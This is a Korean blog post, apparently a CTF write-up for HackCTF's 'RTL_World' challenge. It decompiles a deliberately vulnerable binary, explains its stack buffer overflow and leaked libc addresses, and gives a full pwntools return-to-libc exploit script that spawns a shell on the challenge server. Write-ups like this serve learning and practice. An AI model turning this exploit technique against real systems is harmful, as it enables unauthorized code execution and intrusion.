메로나

[HackCTF] RTL_World (200) write-up 본문

Wargame & CTF/Pwnable

[HackCTF] RTL_World (200) write-up

m3r0n4 2020. 8. 21. 02:04

포니테일 너무 이쁩니다...ㅠㅠ

문제의 난이도와 별개로 정말 재밌었습니다 ㅋㅋㅋ

먼저 Hex-Ray로 까보면 아래와 같습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h]
  char buf; // [esp+14h] [ebp-8Ch]
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        Get_Money(gold);
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}

메뉴를 보면 1번은 문제에 걸려있는 보호기법들, 2번은 돈을 얻을 수 있는 방법을 보여주고, 3번은 돈이 충분하다면 System Armor을 주고, 4번은 돈이 충분하다면 Shell Sword를 주고, 5번에서는 공격을 합니다. buf는 8C만큼 떨어져 있는데 0x400만큼 read 하기 때문에 버퍼 오버플로우 취약점이 발생합니다. 이름으로 미루어 보면 System Armor은 시스템 함수의 주소를, Shell Sword는 '/bin/sh'의 위치를 알려주는 것이라고 예상할 수 있습니다.

그러면 돈을 벌어 두 가지의 무기를 얻고 이를 이용해 공격해 보도록 합시다. 

먼저 pop ret 가젯이 있어야 합니다. ROPgadget으로 찾아주도록 합시다.

0x08048c7f를 사용하도록 합시다. Get_Money 함수를 보면 재미있는게 있습니다. 아래에서 보면, 

int Get_Money()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-Ch]
  int v2; // [esp+Ch] [ebp-8h]
  int v3; // [esp+10h] [ebp-4h]

  puts("\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\nYour Gold is %d\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\n", v2);
      gold += v2;
      result = printf("\nYour Gold is %d\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  return result;
}

4번을 입력하면 랜덤의 돈을 획득할 수 있게 되어있습니다. 500이나 100원 여러번 얻는 것 보다 그냥 한방에 얻는게 더 편해 보이니 돈을 얻는 것은 4번으로만 하도록 하겠습니다. (랜덤이라는 것은 될 수도 있고 안될 수도 있다는 말)

익스플로잇을 짜보면 아래와 같습니다.

from pwn import *
IP = 'ctf.j0n9hyun.xyz'
PORT = '3010'

p = remote(IP, PORT)
#p = process('./rtl_world')

p.sendlineafter('>>> ', str(2))
p.sendlineafter('(Job)>>> ', str(4))

p.sendlineafter('>>> ', str(3))
p.recvuntil('System Armor : ')
system_addr = int(p.recv(10), 16)
log.success('system_addr = ' + hex(system_addr))

p.sendlineafter('>>> ', str(4))
p.recvuntil('Shell Sword : ')
binsh = int(p.recv(10), 16)
log.success('binsh = ' + hex(binsh))

p.sendlineafter('>>> ', str(5))

payload = "A" * (0x8c + 4)
payload += p32(system_addr)
payload += p32(0x08048c7f)
payload += p32(binsh)

p.sendlineafter('[Attack] > ', payload)

p.interactive()

실행해 보면.

성공적으로 플래그를 얻어올 수 있었습니다.

'Wargame & CTF > Pwnable' 카테고리의 다른 글

[BalCCon2k20] mindgames_1336 write-up  (0) 2020.09.29
[HackCTF] Random Key (200) write-up  (0) 2020.09.01
[HackCTF] Yes or no (150) write-up  (0) 2020.08.19
[HackCTF] BOF_PIE (150) write-up  (0) 2020.08.19
[HackCTF] Offset (150) write-up  (0) 2020.08.11